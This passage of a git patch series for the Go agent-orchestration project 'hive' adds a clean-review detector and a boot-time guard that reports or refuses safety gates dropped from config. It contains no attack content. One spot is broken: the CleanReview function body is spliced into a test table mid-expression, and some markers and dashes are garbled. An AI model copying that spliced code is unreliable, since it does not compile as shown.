time.Time + // Kind is the released holder's kind when the marker carries kind= + // (human, agent, contributor, external); "" on older markers. + Kind string } // ParseReleaseMarker reads a `` @@ -151,6 +154,8 @@ func ParseReleaseMarker(body string) (Release, bool) { switch key { case "who": rel.Identity = val + case "kind": + rel.Kind = val case "at": at, err := time.Parse(time.RFC3339, val) if err != nil { diff --git a/src/pkg/review/no_findings.go b/src/pkg/review/no_findings.go index 5476a98162..5f952f1442 100644 --- a/src/pkg/review/no_findings.go +++ b/src/pkg/review/no_findings.go @@ -21,3 +21,40 @@ func NoFindingsAcknowledgement(body string) bool { body = strings.TrimSpace(body) return body != "" && noFindingsRe.MatchString(body) } + +// noFindingsPhraseRe matches the free-text way a reviewer says it found +// nothing ("No findings.", "no findings from this perspective", "I have no +// findings") anywhere in a body. +var noFindingsPhraseRe = regexp.MustCompile(`(?i)\bno\s+(?:further\s+|other\s+|additional\s+)?findings\b`) + +// CleanReview reports whether a review body submitted with reports is a +// clean review in substance, not only in form: either the one-line +// acknowledgement, or a body that says it has no findings while every +// report it rides with approves (or is not applicable) with an empty +// findings list and asks for no decision. The plain reviewer lanes narrate +// their reading ("Read the tree at abc1234 … Looks correct to me. No +// findings.") and so escaped NoFindingsAcknowledgement, costing a review +// email per clean lane per head (hivecommons/hive#16433). A body carrying a +// hidden hive marker (a decision question, a redundant-of pointer) is never +// clean: something downstream reads it. +func CleanReview(body string, reports []PerspectiveReport) bool { + body = strings.TrimSpace(body) + if body == "" { + return false + } + if noFindingsRe.MatchString(body) { + return true + } + if len(reports) == 0 || strings.Contains(body, "\nNo findings otherwise.", approve, false}, + {"narrated body without reports", narrated, nil, false}, + {"empty", "", approve, false}, + } + for _, tc := range cases { + if got := CleanReview(tc.body, tc.reports); got != tc.want { + t.Errorf("%s: CleanReview = %v, want %v", tc.name, got, tc.want) + } + } +} diff --git a/src/pkg/stagelabels/human.go b/src/pkg/stagelabels/human.go index 67d071c50d..a47685e496 100644 --- a/src/pkg/stagelabels/human.go +++ b/src/pkg/stagelabels/human.go @@ -650,6 +650,26 @@ const ( DecisionCommentMarker = "" ) +// EntryCommentMarker is the marker the entry comment for stage carries, or +// "" for a stage with no entry comment. +func EntryCommentMarker(stage Stage) string { + switch stage { + case ReadyForHumanMerge: + return ReadyCommentMarker + case NeedsDecision: + return DecisionCommentMarker + } + return "" +} + +// EntryCommentUpdated is body β€” a fresh ReadyComment or DecisionComment β€” +// as it is written over the PR's existing entry comment: the same text with +// one line saying when it was last rewritten, so a reader who saw the +// earlier wording knows it changed (hivecommons/hive#16433). +func EntryCommentUpdated(body string, at time.Time) string { + return strings.TrimRight(body, "\n") + "\n\nUpdated " + at.UTC().Format("2006-01-02 15:04 UTC") + "." +} + // ReadyComment renders the 090 entry comment: // // Ready for a human merge: verdict approved @abc1234, 55/55 checks green, From 8049c14574b78087f989456a80686d863864ccbb Mon Sep 17 00:00:00 2001 From: Andy Anderson Date: Tue, 3 Nov 2026 12:27:30 -0500 Subject: [PATCH 07/87] =?UTF-8?q?=F0=9F=90=9B=20fix(config):=20warn,=20rep?= =?UTF-8?q?ort=20and=20optionally=20refuse=20when=20a=20seed=20boot=20drop?= =?UTF-8?q?s=20a=20safety=20gate=20the=20previous=20runtime=20overlay=20ca?= =?UTF-8?q?rried=20(#16449)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix(config): warn, report and optionally refuse when a seed boot drops a safety gate the previous runtime overlay carried A spoke booting from the ConfigMap seed (runtime overlay moved aside, truncated or never written) silently lost review.require_labels, project.paused_repos, writeback.per_repo and project.issue_filter.require_labels. The boot now compares the effective config against the previous overlays still on the PVC (hive.yaml.runtime, hive.yaml.runtime.bak, hive.yaml.dashboard), logs one 'WARN safety gate dropped' per gate with the previous value, serves the list on /api/status as config.gate_regressions, shows a Settings banner, and with config.refuse_gate_regression: true refuses to start (exit 21). Fixes #16438 Signed-off-by: Andrew Anderson * πŸ› fix(config): rename gate-regression test helpers to avoid clashing with agent_sandbox_gate_test Signed-off-by: Andrew Anderson * πŸ› fix(config): pin config: block in agent-runtime golden and move gate banner margin into CSS TestAgentRuntimeConfigGolden saw the new config: block as an unexpected key; TestStyleRatchet counted the banner's inline style= attribute above baseline. Signed-off-by: Andrew Anderson --------- Signed-off-by: Andrew Anderson --- .../fixed-16438-gate-regression-guard.md | 1 + src/cmd/hive/boot_config_deps.go | 6 + src/cmd/hive/boot_config_deps_test.go | 61 +++++ src/cmd/hive/main.go | 23 ++ src/deploy/entrypoint.sh | 8 + .../api-reference/health-status-events.md | 2 +- src/docs/config-layering.md | 17 ++ src/docs/operator-reference/README.md | 1 + src/pkg/config/config.go | 8 + src/pkg/config/gate_regression.go | 247 ++++++++++++++++++ src/pkg/config/gate_regression_test.go | 199 ++++++++++++++ .../config/testdata/agent_runtime_golden.json | 3 +- src/pkg/dashboard/server.go | 23 ++ .../static-src/css/config-dialog.css | 1 + .../dashboard/static-src/js/config-tabs.js | 14 +- src/pkg/dashboard/static/index.html | 15 +- 16 files changed, 625 insertions(+), 4 deletions(-) create mode 100644 changelog.d/fixed-16438-gate-regression-guard.md create mode 100644 src/pkg/config/gate_regression.go create mode 100644 src/pkg/config/gate_regression_test.go diff --git a/changelog.d/fixed-16438-gate-regression-guard.md b/changelog.d/fixed-16438-gate-regression-guard.md new file mode 100644 index 0000000000..af5e8d0d02 --- /dev/null +++ b/changelog.d/fixed-16438-gate-regression-guard.md @@ -0,0 +1 @@ +- A spoke that boots from the ConfigMap seed (runtime overlay moved aside or missing) no longer drops `review.require_labels`, `project.paused_repos`, `writeback.per_repo` or `project.issue_filter.require_labels` in silence: each gate a previous overlay on the PVC carried that the effective config lacks or loosens is logged as `WARN safety gate dropped` with its previous value, listed in `/api/status` as `config.gate_regressions`, and shown as a Settings banner; `config.refuse_gate_regression: true` refuses to start instead. diff --git a/src/cmd/hive/boot_config_deps.go b/src/cmd/hive/boot_config_deps.go index df6b0b6791..94faa8d482 100644 --- a/src/cmd/hive/boot_config_deps.go +++ b/src/cmd/hive/boot_config_deps.go @@ -56,6 +56,9 @@ type bootConfigDeps struct { runHub func(logger *slog.Logger, configPath string) // loadConfig is config.LoadWithDashboardOverlay. loadConfig func(path string) (*config.Config, error) + // gateRegressions compares the loaded config against the previous + // runtime overlays on the PVC (#16438); nil-returning in tests. + gateRegressions func(cfg *config.Config) []config.GateRegression // fileLogger builds the rolling-file logger from the loaded config. fileLogger func(cfg *config.Config) *slog.Logger // hiveID loads or generates the persistent hive identity. @@ -98,6 +101,9 @@ func defaultBootConfigDeps() bootConfigDeps { clearUpgradeMarker: func() error { return os.Remove(upgradeMarkerPath) }, runHub: runHub, loadConfig: config.LoadWithDashboardOverlay, + gateRegressions: func(cfg *config.Config) []config.GateRegression { + return config.DetectPriorOverlayGateRegressions(cfg, config.PriorOverlayPaths()) + }, fileLogger: func(cfg *config.Config) *slog.Logger { l := cfg.Governor.Logging return setupLogger(l.Dir, l.MaxSizeMB, l.MaxAgeDays, l.MaxBackups, l.Compress, l.Level) diff --git a/src/cmd/hive/boot_config_deps_test.go b/src/cmd/hive/boot_config_deps_test.go index 0abb9933bc..0b4a714343 100644 --- a/src/cmd/hive/boot_config_deps_test.go +++ b/src/cmd/hive/boot_config_deps_test.go @@ -82,6 +82,7 @@ func newBootConfigFake(t *testing.T) *bootConfigFake { cfg.Debug.PprofAddr = config.PprofAddrOff return cfg, nil }, + gateRegressions: func(*config.Config) []config.GateRegression { return nil }, // Every logger the phase installs is captured, including the stdout // bootstrap logger's replacement, so assertions see the whole boot. fileLogger: func(*config.Config) *slog.Logger { @@ -514,3 +515,63 @@ func TestBootConfigWith_HubModeNotGatedByProxyInjectGuard(t *testing.T) { t.Fatalf("returned=%v ok=%v code=%d hubRun=%v, want the hub started", returned, ok, code, f.hubRun) } } + +// #16438: a safety gate a previous runtime overlay carried that the effective +// config lacks is logged once per gate at WARN and kept on the config for +// /api/status; with config.refuse_gate_regression it is fatal, with its own +// exit code and the gates named in the log. +func TestBootConfigWith_GateRegressionWarnsOrRefuses(t *testing.T) { + regs := []config.GateRegression{ + {Gate: config.GateReviewRequireLabels, Previous: "[hive-review]", Effective: "none", Source: "/data/hive.yaml.runtime.bak"}, + {Gate: config.GatePausedRepos + "[acme/widgets]", Previous: "paused", Effective: "not paused", Source: "/data/hive.yaml.dashboard"}, + } + t.Run("warns and boots by default", func(t *testing.T) { + f := newBootConfigFake(t) + f.deps.gateRegressions = func(*config.Config) []config.GateRegression { return regs } + b := &boot{} + if returned, ok, code := runBootConfig(t, b, f.deps); !returned || !ok { + t.Fatalf("returned=%v ok=%v code=%d, want a normal boot", returned, ok, code) + } + log := f.log.String() + if n := strings.Count(log, "safety gate dropped"); n != len(regs) { + t.Fatalf("want %d 'safety gate dropped' lines, got %d:\n%s", len(regs), n, log) + } + for _, want := range []string{"review.require_labels", "[hive-review]", "acme/widgets", "level=WARN"} { + if !strings.Contains(log, want) { + t.Fatalf("gate warning lacks %q:\n%s", want, log) + } + } + if len(b.cfg.GateRegressions) != len(regs) { + t.Fatalf("cfg.GateRegressions = %v, want the detector's list", b.cfg.GateRegressions) + } + }) + t.Run("refuses when config.refuse_gate_regression is on", func(t *testing.T) { + f := newBootConfigFake(t) + load := f.deps.loadConfig + f.deps.loadConfig = func(p string) (*config.Config, error) { + cfg, err := load(p) + cfg.ConfigGuard.RefuseGateRegression = true + return cfg, err + } + f.deps.gateRegressions = func(*config.Config) []config.GateRegression { return regs } + returned, _, code := runBootConfig(t, &boot{}, f.deps) + if returned || code != gateRegressionExitCode { + t.Fatalf("returned=%v code=%d, want exit(%d)", returned, code, gateRegressionExitCode) + } + log := f.log.String() + for _, want := range []string{"refusing to start", "refuse_gate_regression", "review.require_labels", "acme/widgets"} { + if !strings.Contains(log, want) { + t.Fatalf("refusal log lacks %q:\n%s", want, log) + } + } + }) + t.Run("quiet when nothing regressed", func(t *testing.T) { + f := newBootConfigFake(t) + if returned, ok, code := runBootConfig(t, &boot{}, f.deps); !returned || !ok { + t.Fatalf("returned=%v ok=%v code=%d, want a normal boot", returned, ok, code) + } + if strings.Contains(f.log.String(), "safety gate dropped") { + t.Fatal("gate warning logged with no regressions") + } + }) +} diff --git a/src/cmd/hive/main.go b/src/cmd/hive/main.go index 39a994c32b..16ecd5157a 100644 --- a/src/cmd/hive/main.go +++ b/src/cmd/hive/main.go @@ -444,6 +444,11 @@ const ( // HIVE_PROXY_ADVISORY_OK=true). Its own code so a refusing pod's // termination state says "fix the env", not "bug". proxyInjectConfigExitCode = 19 + // gateRegressionExitCode marks an exit caused by config.refuse_gate_regression + // (hivecommons/hive#16438): a previous runtime overlay carried a safety + // gate the effective config lacks. Its own code so the termination state + // says "restore the gate or the overlay", not "bug". + gateRegressionExitCode = 21 ) // singletonLockPath resolves where the process singleton lock lives. Every @@ -654,6 +659,24 @@ func (b *boot) bootConfigWith(deps bootConfigDeps) bool { "agents", b.cfg.RemovedAgents, ) + // Safety-gate regression check (#16438). A boot from the ConfigMap seed + // (runtime overlay moved aside, truncated, or never written) silently + // dropped review.require_labels on a live hive and the reviewer posted on + // unlabelled PRs for hours. Compare the effective config against whatever + // previous overlay is still on the PVC and say so, once per gate; refuse + // to start when the operator asked for that. + b.cfg.GateRegressions = deps.gateRegressions(b.cfg) + for _, g := range b.cfg.GateRegressions { + b.logger.Warn("safety gate dropped: "+g.String(), + "gate", g.Gate, "previous", g.Previous, "effective", g.Effective, "source", g.Source) + } + if len(b.cfg.GateRegressions) > 0 && b.cfg.ConfigGuard.RefuseGateRegression { + err := &config.GateRegressionError{Regressions: b.cfg.GateRegressions} + b.logger.Error("refusing to start: safety gate regression (config.refuse_gate_regression is on)", "error", err.Error()) + deps.exit(gateRegressionExitCode) + return false + } + // Surface config provenance: when the persisted runtime config exists, init // containers restore it over the ConfigMap seed on restart, so edits made // only to the seed (or only to the live file) silently lose to it. diff --git a/src/deploy/entrypoint.sh b/src/deploy/entrypoint.sh index ab9c357b83..661ffcf703 100644 --- a/src/deploy/entrypoint.sh +++ b/src/deploy/entrypoint.sh @@ -1143,6 +1143,14 @@ PYEOF fi # Write the (merged) config as the disaster-recovery snapshot. Always # under the new name; the legacy file is left untouched on the PVC. + # + # Reaching this branch on a hive that USED to have a runtime config means + # the safety gates it carried (review.require_labels, paused_repos, …) + # are now whatever the seed says β€” usually nothing (#16438). The Go + # binary compares the loaded config against hive.yaml.runtime.bak and + # hive.yaml.dashboard at boot and WARNs per dropped gate (fatal with + # config.refuse_gate_regression); an operator moving the runtime config + # aside should name the copy hive.yaml.runtime.bak so it is found. cp "$HIVE_CONFIG_PATH" "$HIVE_CONFIG_RUNTIME" 2>/dev/null || true hive_harden_runtime_config "$HIVE_CONFIG_RUNTIME" echo "[entrypoint] K8s mode β€” ConfigMap is the seed, runtime config written to $HIVE_CONFIG_RUNTIME" diff --git a/src/docs/api-reference/health-status-events.md b/src/docs/api-reference/health-status-events.md index 8c3676ea0f..5458c2d3fb 100644 --- a/src/docs/api-reference/health-status-events.md +++ b/src/docs/api-reference/health-status-events.md @@ -28,7 +28,7 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | `GET` | `/api/health/deep` | Public | Deep health probe | `pkg/dashboard/server.go:1644` | | `GET` | `/api/livez` | Public | Kubernetes liveness probe | `pkg/dashboard/server.go:1645` | | `GET` | `/metrics` | Registered only when `HIVE_METRICS_ENABLED`; requires `Authorization: ****** (403 if the token is unset) | Prometheus metrics | `pkg/dashboard/server.go:1651` | -| `GET` | `/api/status` | Dashboard auth/session | Dashboard aggregate status; `labelPresets[]` (`{key,label,description,labels[],states[]}`) lists the built-in label-filter presets for the Projects cards, led by `needs-human` whose `labels[]` are the effective hard-suppress labels plus `needs-signal`, the hold labels, `stage/071-needs-author` and the reporter-trust awaiting label (#12172); accepts `?fields=a,b` for top-level selection and `?omit=repos` to drop heavy sections, and honors `Accept-Encoding: gzip`; `agents[]` includes busy-pane visibility fields (`kicksUndeliverable`, `busySince`, `lastTranscriptActivity`, `condition`, `conditionMessage`) when a Working pane cannot accept kicks; a working agent also carries `agents[].run` β€” the live per-run line (#14576): `{since, elapsedS, costUSD, tokens, priced, tests, filesChanged}`, the estimated spend/tokens since the kick was delivered (`lastKickAt`, falling back to `busySince`) (delta of the token collector's per-agent cumulative figure; `priced:false` when the agent has none yet), the last visible test-runner result (`pass`/`fail`/empty) and the last `N files changed` git summary (`-1` when none) parsed from the captured pane; top-level `fleetRun` `{running, hourUSD, hourPriced, dayUSD, weekUSD, monthUSD, windowsPriced}` is the governor strip's rotating `running N Β· $X this hour / today / this week / this month` figure (#15614) β€” the hour is the rise since the top of the clock hour, the wider windows are the daily cost ledger summed from 00:00 UTC today, Monday 00:00 UTC (ISO week) and the 1st 00:00 UTC plus the rise since the ledger's last snapshot, `windowsPriced:false` when there is no ledger yet; `sla` (fleet) and `repos[].sla` (per repo) carry the Delivery SLA block derived from the lifecycle timeline with no extra GitHub calls: `windows.{7d,30d}.{open_to_triage,triage_to_start,start_to_pr,pr_to_merge,open_to_merge}` as `{p50_h,p95_h,n}` (hours, nearest-rank), `history[]` of up to 30 daily buckets `{day,start_to_pr_p50,pr_to_merge_p50,open_to_merge_p50,n_started,n_pr,n_merged}` persisted under `/data/sla-history.json`, `stale_in_progress[]` (`{number,repo,started_at,age_h,agent}` β€” issues carrying `hive/in-progress` longer than the agent claim TTL with no linked PR), `stale_count`, `merged_7d`, `claim_ttl_s` and, on the fleet block, the effective `targets` (`start_to_pr_h`, `pr_to_merge_h`, `open_to_merge_h`); `staleSince` and `repos[].countsStale` / `countsStaleSince` mark totals served from last-good figures β€” the previous enumeration (#13382) or the ForgeState cache's last-good counts (#13376); `ci_failure_signals` `{count, last, kicks, unmatched}` is the webhook CI-failure signal store β€” distinct red (repo, head, check) signals retained, the most recent one `{repo, number, head_sha, check, conclusion, details_url, agent, at}`, webhook-triggered kicks/nudges since boot, and failure deliveries whose head matched no open PR; `hotspots` `{count, actionable, filed}` is the merge-hotspot advisor's one-line summary (files at/above the thresholds, those with a split recommendation, those with a modularize issue filed), absent when the advisor is not wired β€” details on `GET /api/hotspots`; `writeback.dedupe` `{enabled, dedupe_same_item, dedupe_burst, rate_capped, hourly_cap, burst_items, burst_window_s, same_item_ttl_s}` is the write-back gate's content layer β€” the effective `writeback.dedupe.*` settings and the last-hour counts of writes held as `duplicate`, `burst` and `rate-capped` (each also listed under `GET /api/writeback/suppressed`) | `pkg/dashboard/server.go:1656` | +| `GET` | `/api/status` | Dashboard auth/session | Dashboard aggregate status; `labelPresets[]` (`{key,label,description,labels[],states[]}`) lists the built-in label-filter presets for the Projects cards, led by `needs-human` whose `labels[]` are the effective hard-suppress labels plus `needs-signal`, the hold labels, `stage/071-needs-author` and the reporter-trust awaiting label (#12172); accepts `?fields=a,b` for top-level selection and `?omit=repos` to drop heavy sections, and honors `Accept-Encoding: gzip`; `agents[]` includes busy-pane visibility fields (`kicksUndeliverable`, `busySince`, `lastTranscriptActivity`, `condition`, `conditionMessage`) when a Working pane cannot accept kicks; a working agent also carries `agents[].run` β€” the live per-run line (#14576): `{since, elapsedS, costUSD, tokens, priced, tests, filesChanged}`, the estimated spend/tokens since the kick was delivered (`lastKickAt`, falling back to `busySince`) (delta of the token collector's per-agent cumulative figure; `priced:false` when the agent has none yet), the last visible test-runner result (`pass`/`fail`/empty) and the last `N files changed` git summary (`-1` when none) parsed from the captured pane; top-level `fleetRun` `{running, hourUSD, hourPriced, dayUSD, weekUSD, monthUSD, windowsPriced}` is the governor strip's rotating `running N Β· $X this hour / today / this week / this month` figure (#15614) β€” the hour is the rise since the top of the clock hour, the wider windows are the daily cost ledger summed from 00:00 UTC today, Monday 00:00 UTC (ISO week) and the 1st 00:00 UTC plus the rise since the ledger's last snapshot, `windowsPriced:false` when there is no ledger yet; `sla` (fleet) and `repos[].sla` (per repo) carry the Delivery SLA block derived from the lifecycle timeline with no extra GitHub calls: `windows.{7d,30d}.{open_to_triage,triage_to_start,start_to_pr,pr_to_merge,open_to_merge}` as `{p50_h,p95_h,n}` (hours, nearest-rank), `history[]` of up to 30 daily buckets `{day,start_to_pr_p50,pr_to_merge_p50,open_to_merge_p50,n_started,n_pr,n_merged}` persisted under `/data/sla-history.json`, `stale_in_progress[]` (`{number,repo,started_at,age_h,agent}` β€” issues carrying `hive/in-progress` longer than the agent claim TTL with no linked PR), `stale_count`, `merged_7d`, `claim_ttl_s` and, on the fleet block, the effective `targets` (`start_to_pr_h`, `pr_to_merge_h`, `open_to_merge_h`); `staleSince` and `repos[].countsStale` / `countsStaleSince` mark totals served from last-good figures β€” the previous enumeration (#13382) or the ForgeState cache's last-good counts (#13376); `ci_failure_signals` `{count, last, kicks, unmatched}` is the webhook CI-failure signal store β€” distinct red (repo, head, check) signals retained, the most recent one `{repo, number, head_sha, check, conclusion, details_url, agent, at}`, webhook-triggered kicks/nudges since boot, and failure deliveries whose head matched no open PR; `hotspots` `{count, actionable, filed}` is the merge-hotspot advisor's one-line summary (files at/above the thresholds, those with a split recommendation, those with a modularize issue filed), absent when the advisor is not wired β€” details on `GET /api/hotspots`; `writeback.dedupe` `{enabled, dedupe_same_item, dedupe_burst, rate_capped, hourly_cap, burst_items, burst_window_s, same_item_ttl_s}` is the write-back gate's content layer β€” the effective `writeback.dedupe.*` settings and the last-hour counts of writes held as `duplicate`, `burst` and `rate-capped` (each also listed under `GET /api/writeback/suppressed`); `config.gate_regressions[]` `{gate, previous, effective, source}` is the boot-time safety-gate regression list (#16438) β€” gates a previous runtime overlay on the PVC carried that the running config lacks or loosens (`review.require_labels`, `project.issue_filter.require_labels`, `project.paused_repos[]`, `writeback.per_repo[].mode`), empty on a healthy boot | `pkg/dashboard/server.go:1656` | | `GET` | `/api/status/summary` | Dashboard auth/session | Compact agent/governor/budget status summary for pollers; honors `Accept-Encoding: gzip` | `pkg/dashboard/server.go:1657` | | `GET` | `/api/overview/issues.csv` | Dashboard auth/session | Cached Overview issue-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1658` | | `GET` | `/api/overview/issues.json` | Dashboard auth/session | Cached Overview issue-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1659` | diff --git a/src/docs/config-layering.md b/src/docs/config-layering.md index ce6f70f7f2..0e68abda0e 100644 --- a/src/docs/config-layering.md +++ b/src/docs/config-layering.md @@ -189,6 +189,23 @@ Two consequences worth stating outright for a non-Kubernetes hive: the hive to whatever the seed was provisioned with, silently downgrading every hold-gated agent. Back up the volume, not just the seed file. +### Safety gates do not survive a seed boot β€” but the boot says so + +A boot from the ConfigMap seed (no runtime config on the PVC, or one moved +aside during a recovery) runs with whatever gates the *seed* has, which on a +long-lived hive is usually none: `review.require_labels`, +`project.paused_repos`, `writeback.per_repo` and +`project.issue_filter.require_labels` all live in the overlay. On the a1 spoke +that silently re-enabled reviews on every unlabelled PR for four hours +([#16438](https://github.com/hivecommons/hive/issues/16438)). The Go binary now +compares the loaded config against any previous overlay still on the PVC +(`hive.yaml.runtime`, `hive.yaml.runtime.bak`, `hive.yaml.dashboard`) and logs +`WARN safety gate dropped: …` once per gate with the previous value; the same +list is served as `config.gate_regressions` on `/api/status` and shown as a +banner at the top of Settings. `config.refuse_gate_regression: true` turns the +warning into a refusal to start. Nothing about how the gates are *enforced* +changes; the entrypoint's choice of boot source is unchanged too. + ### Migration The rename is **copy-forward, never destructive**. Writers emit diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index b769668ea0..467be2b382 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -251,6 +251,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `project.label_driven_trust_org_members` | `true` | Whether a public member of the repo's owning org who applies an approval label is trusted (Prow's own rule). Dashboard: Settings β†’ Repos β†’ "trust public org members". | | `project.label_driven_trusted_bots` | `["kubestellar-prow[bot]"]` | Bot logins whose label additions count as a trusted triager (Prow command bots relaying `/triage accepted`). `github-actions[bot]` is not in the default because it is the shared identity of every workflow in the repo, including ones triggered by untrusted events; operators whose Prow emulation runs as `github-actions[bot]` must add it explicitly per deployment. Dashboard: Settings β†’ Repos β†’ "Trusted bots". | | `project.label_driven_supersede_park_actors` | `[]` (off) | Automation logins (for example a lifecycle bot running as `github-actions[bot]`) whose park labels a later trusted acceptance supersedes on label-driven repos: Hive removes the label, says so in the release comment, and releases the issue ([#13605](https://github.com/hivecommons/hive/issues/13605)). Park labels added by people, by unlisted bots, or by a listed bot after the acceptance still block; `hold` is never superseded. Per-repo override: `project.repo_policies[].label_driven_supersede_park_actors`. | +| `config.refuse_gate_regression` | `false` | Safety-gate regression guard ([#16438](https://github.com/hivecommons/hive/issues/16438)). At boot the hive compares the effective config against any previous runtime overlay still on the PVC (`/data/hive.yaml.runtime`, an operator's `hive.yaml.runtime.bak`, `/data/hive.yaml.dashboard`) for `review.require_labels`, `project.issue_filter.require_labels`, `project.paused_repos` and `writeback.per_repo` modes. A gate the overlay carried that the effective config lacks or loosens β€” typically a boot from the ConfigMap seed after the overlay was moved aside β€” is logged once per gate as `WARN safety gate dropped: (was ) β€” effective config has `, listed in `/api/status` under `config.gate_regressions`, and shown as a banner at the top of Settings. `true` makes it fatal: the hive exits (code 21) with the gates named instead of running with weaker gates. Set it in the overlay itself; the ConfigMap seed is the file the regression usually comes from. Legacy `/data/hive.yaml.bak` is not consulted β€” it is frozen at the rename and would warn forever about gates removed on purpose. | | `auto_merge.allow_unprotected_base` | Deprecated no-op. | Accepted so older configs keep loading. `hive-merge` now merges into any protected or unprotected branch the App can write, subject to the CI-evidence gate and GitHub's own merge rules. | | `auto_merge.no_ci_ok` | Empty by default. | Explicit repo list whose zero-CI merge-request verdict may pass; failing or pending CI evidence is still enforced. | | `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors`, whose complete diff (every changed file, guarded or not) is pin replacements, whose every commit is authored by a `trusted_authors` login with a GitHub-verified signature, and whose every new action SHA resolves in its upstream action repository (the `# vN` tag points at it, or it is on the default branch; #16399); it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index bca9a76240..6c85fe185d 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -212,6 +212,9 @@ type Config struct { // `classification:` block (currently review_bots, hivecommons/hive#7360). // Default empty β†’ the review-thread reconciler is off. Classification ClassificationConfig `yaml:"classification,omitempty" json:"classification,omitempty"` + // ConfigGuard is the `config:` block: how the config itself is loaded + // (hivecommons/hive#16438). See ConfigGuardConfig in gate_regression.go. + ConfigGuard ConfigGuardConfig `yaml:"config,omitempty" json:"config,omitempty"` // RemovedAgents are agent names an operator deliberately deleted. It is a // TOMBSTONE list, and it exists because deletion had no durable record // anywhere: the delete handlers dropped the agent from the in-memory map @@ -242,6 +245,11 @@ type Config struct { // dashboard can raise a banner for each. Runtime-only; see // DegradeContradictingLaunchCmds. LaunchCmdDegradations []LaunchCmdDegradation `yaml:"-" json:"-"` + // GateRegressions lists the safety gates a previous runtime overlay + // carried that this config lacks or weakens, as detected at boot + // (hivecommons/hive#16438). Runtime-only; served in /api/status as + // config.gate_regressions. See DetectPriorOverlayGateRegressions. + GateRegressions []GateRegression `yaml:"-" json:"-"` // ReviewerAutoscaleActive is the reviewer autoscaler's current target // replica count for the autoscaled lane (hivecommons/hive#14685). // Runtime-only: it is never persisted, is carried across config reloads diff --git a/src/pkg/config/gate_regression.go b/src/pkg/config/gate_regression.go new file mode 100644 index 0000000000..b1bc5ca9e1 --- /dev/null +++ b/src/pkg/config/gate_regression.go @@ -0,0 +1,247 @@ +package config + +import ( + "fmt" + "os" + "sort" + "strings" + + "github.com/hivecommons/hive/pkg/writeback" + "gopkg.in/yaml.v3" +) + +// ConfigGuardConfig is the `config:` block of hive.yaml: knobs about how the +// config itself is loaded, as opposed to what it says. +type ConfigGuardConfig struct { + // RefuseGateRegression makes a safety-gate regression at boot fatal + // (hivecommons/hive#16438). Off (the default) the hive logs one WARN per + // dropped gate and reports them in /api/status config.gate_regressions; + // on, it exits instead of starting with weaker gates than the previous + // runtime overlay carried. + RefuseGateRegression bool `yaml:"refuse_gate_regression,omitempty" json:"refuse_gate_regression,omitempty"` +} + +// Safety gate names as reported in logs, /api/status and the dashboard. +const ( + GateReviewRequireLabels = "review.require_labels" + GateIssueRequireLabels = "project.issue_filter.require_labels" + GatePausedRepos = "project.paused_repos" + GateWritebackPerRepo = "writeback.per_repo" +) + +// GateRegression is one safety gate that a previous runtime overlay carried +// and the effective config lacks or weakens. +type GateRegression struct { + // Gate is the config key, with the repo appended for per-repo gates + // (project.paused_repos[org/repo], writeback.per_repo[org/repo].mode). + Gate string `json:"gate"` + // Previous is the value the prior overlay had, rendered for a log line. + Previous string `json:"previous"` + // Effective is the value the running config has. + Effective string `json:"effective"` + // Source is the prior overlay file the previous value was read from. + Source string `json:"source,omitempty"` +} + +// String renders the regression the way the boot WARN line reports it. +func (g GateRegression) String() string { + s := fmt.Sprintf("%s (was %s) β€” effective config has %s", g.Gate, g.Previous, g.Effective) + if g.Source != "" { + s += " [from " + g.Source + "]" + } + return s +} + +// GateRegressionError is returned by RefuseGateRegressions when +// config.refuse_gate_regression is on and at least one gate regressed. +type GateRegressionError struct { + Regressions []GateRegression +} + +func (e *GateRegressionError) Error() string { + parts := make([]string, 0, len(e.Regressions)) + for _, g := range e.Regressions { + parts = append(parts, g.String()) + } + return fmt.Sprintf("refusing to start: config.refuse_gate_regression is on and %d safety gate(s) present in a previous runtime overlay are missing or weaker in the effective config: %s", + len(e.Regressions), strings.Join(parts, "; ")) +} + +// PriorOverlayPaths lists the files a previous boot may have left behind +// that carry the gates this hive used to run with, in the order they are +// consulted: the runtime config itself, an operator's `.bak` of it, and the +// dashboard overlay. The legacy /data/hive.yaml.bak is deliberately NOT in +// the list: it is frozen at the rename and goes stale on every later save, +// so comparing against it would warn forever about gates an operator +// removed on purpose. +func PriorOverlayPaths() []string { + return []string{RuntimeConfigFile, RuntimeConfigFile + ".bak", DashboardOverlayFile} +} + +// DetectPriorOverlayGateRegressions reads each prior overlay in paths that +// exists, is non-empty, parses, and is not the file effective was loaded +// from, and reports every safety gate it carries that effective lacks or +// weakens. The first overlay to report a given gate wins; later ones add +// only gates not yet seen. A missing or unparsable overlay contributes +// nothing β€” this is a boot-time warning, never a reason to fail the load. +func DetectPriorOverlayGateRegressions(effective *Config, paths []string) []GateRegression { + if effective == nil { + return nil + } + var out []GateRegression + seen := map[string]bool{} + for _, p := range paths { + if p == "" || sameConfigPath(p, effective.SourcePath) { + continue + } + data, err := os.ReadFile(p) + if err != nil || len(strings.TrimSpace(string(data))) == 0 { + continue + } + var prior Config + if err := yaml.Unmarshal([]byte(expandEnvVars(string(data))), &prior); err != nil { + continue + } + for _, g := range DetectGateRegressions(effective, &prior) { + if seen[g.Gate] { + continue + } + seen[g.Gate] = true + g.Source = p + out = append(out, g) + } + } + return out +} + +func sameConfigPath(a, b string) bool { + if a == "" || b == "" { + return false + } + if a == b { + return true + } + ai, errA := os.Stat(a) + bi, errB := os.Stat(b) + return errA == nil && errB == nil && os.SameFile(ai, bi) +} + +// DetectGateRegressions compares the safety 